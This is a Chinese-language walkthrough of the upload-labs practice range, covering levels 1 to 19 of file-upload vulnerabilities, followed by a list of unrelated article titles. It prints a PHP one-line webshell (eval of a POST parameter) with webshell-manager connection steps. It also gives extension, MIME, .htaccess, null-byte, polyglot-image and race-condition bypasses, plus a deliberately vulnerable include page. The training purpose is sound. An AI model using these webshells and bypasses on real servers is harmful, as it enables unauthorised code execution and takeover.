当前位置: 首页 > news >正文

upload-labs靶场(1-19关)

upload-labs靶场

简介

upload-labs是一个使用php语言编写的,专门收集渗透测试过程中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共19关,每一关都包含着不同上传方式。

注意:能运行<?php phpinfo();?>

就能运行<?php eval($_POST['cmd'])?>一句话木马

为了方便只有第一关用了一句话木马。

Pass-01

思路:第一关限制了长传文件的类型,所以在抓包的时候将图片扩展名改成php扩展名即可

image-20240727084800801

步骤一:写一个1.jpg在里面写php代码

image-20240726114010472

步骤二:BP抓包

image-20240726114234296

步骤三:修改filename改成php扩展名

image-20240726114334395

步骤四:查看网站下上传的文件,文件里写的echo "1"所以显示1

image-20240726114434513

我们如果写一句话木马即可控制他的电脑

<?php @eval($_POST['cmd']);?>

使用工具–蚂蚁,中国菜刀

点击添加

image-20240726115247637

双击

image-20240726115339851

连接成功

image-20240726115329078

Ps:其他关就不用一句话木马了。

Pass-02

思路:查看提示看到是在服务端对数据的MIME进行检查,MIME验证就是验证文件的类型。代码种文件类型只能让jpeg,png,gif传入,所以我们的思路就是用burp抓包然后修改文件的类型。

image-20240727085006288

步骤一:抓包修改内容类型位图片类型

image-20240726135339921

步骤三:访问web下上传的文件

image-20240726135225933

Pass-03

思路:第三关禁用.php,这时候我们就要想办法绕过,说黑名单规则不严谨.

也可以写.php3.php5绕过,但某些环境不支持打开php3文件。

image-20240727085207751

image-20240726135933051

注:有一些使用phpstudy搭建的upload-labs可能无法加载出这个页面,这是因为phpstudy的配置文件需要修改,打开phpstudy的httpd-conf配置文件,修改 #AddType application/x-httpd-php .php .phtml 为 AddType application/x-httpd-php .php .phtml .php5 .php3,注意前面的#要删除,这时即可正常访问图片地址。

Pass-04

思路:这题将.php,.php3…这些都禁用了,双写也绕不过去。我们可以上传.htaccess文件,将jpg文件当作php文件执行。

ps:某些环境不支持,在这里我们找的在线靶场.

image-20240727085400292

phpinfo.jpg

<?php phpinfo(); ?>

1.htaccess

<FilesMatch 'phpinfo.jpg'>
SetHandler application/x-httpd-php
</FilesMatch>

在这里插入图片描述

Pass-05

思路:这关没有转换大小写的代码。

image-20240726154340796

上传一个5.Php文件,直接上传成功

image-20240727090944088

Pass-06

思路:缺少首尾去空限制,但windows文件名最后不能加空格,可以BP抓包修改

image-20240726154946584

image-20240727092814305

image-20240727092829879

Pass-07

思路:本体没有删除文件末尾的点限制,所以在文件后加个点绕过

image-20240727092921234

BP抓包

image-20240727093124760

image-20240727093103444

Pass-08

思路:缺少去除字符串::$DATA

image-20240727093205511

BP抓包

image-20240727093418007

去除URL中的::$DATA

image-20240727093500378

image-20240727093531647

Pass-09

思路:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来。

所以我们应该修改文件名为:9.php. .,两个点中间有个空格

image-20240727093812130

BP抓包

image-20240727094021331

image-20240727094034556

Pass-10

思路:本题通过截取文件扩展名,如果截取的扩展名与数组中一样则被拦截。可以通过双写php绕过,写成10.pphphp

image-20240727094243770

image-20240727094541598

Pass-11

思路:本题只允许上传.jpg,.png,.gif,本题考查GET方式%00截断

在处理数据时,当处理到00,就当作处理完成

PHP版本小于5.3

因为实在找不到PHP版本符合的环境,在ctfhub%00截断题目中开了个环境

image-20240727094649216

image-20240727103656440

image-20240727103821123

image-20240727103837677

image-20240727104215475

Pass-12

$_POST['save_path']以POST形式传参时,直接使用%00无法截断,因为POST的数据不会被直接解码,空格会替换成+号,需要手动使用burp中的URL-decode解码。

PHP版本小于5.3

image-20240727104959921

image-20240727105153189

Pass-13

制作一个图片马。

在Windows系统中制作图片马的方法:

(1)随机获得一张图片,这里以如下图片(图片名为cat1.jpg)为例:

猫1

(2)新建一个文本(文本名为cat2.txt),内容为:

<?php phpinfo();?>

注意:cat1.jpg和cat2.txt要在同一个文件目录下。

3)win+r,输入cmd,进入终端,输入如下代码:

cd C:\Users\1\Desktop
copy cat1.jpg/b+cat2.txt/a cat3.jpg

image-20240727110915318

然后需要一个文件包含漏洞

image-20240727111522182

将include.php放到upload文件夹

 <?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){include $file;
}else{show_source(__file__);
}
?> 

上传做好的图片码,然后在本页面以GET方式提交file=上传至服务端的图片马路径

image-20240727112615781

Pass-14

与Pass-13一样

Pass-15

本pass使用exif_imagetype()检查是否为图片文件!

此Pass需要打开php的exif扩展,否则无法正常交互,关于详细内容,请阅读:PHP exif扩展方法开启详解。

image-20240727113235247

其余步骤与Pass-13相同

image-20240727113313217

Pass-16

本pass重新渲染了图片!

需要有一个二次渲染的图片
如下就是一张:
22

图片上传

image-20240727114431566

Pass-17(条件竞争)

提示:需要代码审计!

image-20240727115021145

步骤一:新建一句话木马17.php,代码为:

<?php fputs(fopen('../upload/phpinfo17.php','w'),'<?php phpinfo();?>');?>

只要被成功当作PHP文件解析,就会生成phpinfo17.php 文件

抓包

image-20240727115914769

发送到攻击模块

bp设置无限发送空的Payloads,来让它一直上传该文件

image-20240727120042623

image-20240727121032237

Pass-18

这道题有些问题导致上传的文件传入不进去

在…/upload-labs-env\WWW\Pass-18\myupload.php中修改代码

image-20240727122744637

image-20240727122947328

然后上传一个图片码跟Pass-13一样

image-20240727123647068

Pass-19

空格绕过、点绕过,大小写绕过等等均可。

image-20240727124018471

image-20240727124211821

http://www.lryc.cn/news/410525.html

相关文章:

  • Python面向对象浅析
  • JS基本语法
  • LSTM详解总结
  • 制品库nexus
  • 2022.11.17 阿里钉钉数据开发岗位一面
  • 【无标题】Git(仓库,分支,分支冲突)
  • 访问控制列表(ACL)
  • 自用git命令(待完善)
  • 突破•指针四
  • 深入解析Python `requests`库源码,揭开HTTP请求的神秘面纱!
  • day1 服务端与消息编码
  • 部署WMS仓储管理系统项目后的注意事项
  • 跨网段 IP 地址通信故障分析
  • 存储引擎MySQL和InnoDB(数据库管理与高可用)
  • 探索局域网传输新境界 | 闪电藤 v2.2.7
  • Tiling Window Management
  • 9. kubernetes资源——pv/pvc持久卷
  • 2024西安铁一中集训DAY27 ---- 模拟赛((bfs,dp) + 整体二分 + 线段树合并 + (扫描线 + 线段树))
  • STM32F401VET6 PROTEUS8 ILI9341 驱动显示及仿真
  • 抖音视频素材网站有哪些?非常好用的5个抖音视频素材库分享
  • 【数据结构】链式二叉树的实现和思路分析及二叉树OJ
  • 项目成功秘诀:工单管理系统如何加速进程
  • OpenGauss和GaussDB有何不同
  • 星环科技携手东华软件推出一表通报送联合解决方案
  • YOLOv10环境搭建、训练自己的目标检测数据集、实际验证和测试
  • Harmony Next -- 通用标题栏:高度自定义,可设置沉浸式状态,正常状态下为:左侧返回、居中标题,左中右均可自定义视图。
  • 甄选范文“论数据分片技术及其应用”软考高级论文,系统架构设计师论文
  • 【elementui】记录el-table设置左、右列固定时,加大滚动条宽度至使滚动条部分被固定列遮挡的解决方法
  • Python人工智能:一、语音合成和语音识别
  • C/C++进阶 (8)哈希表(STL)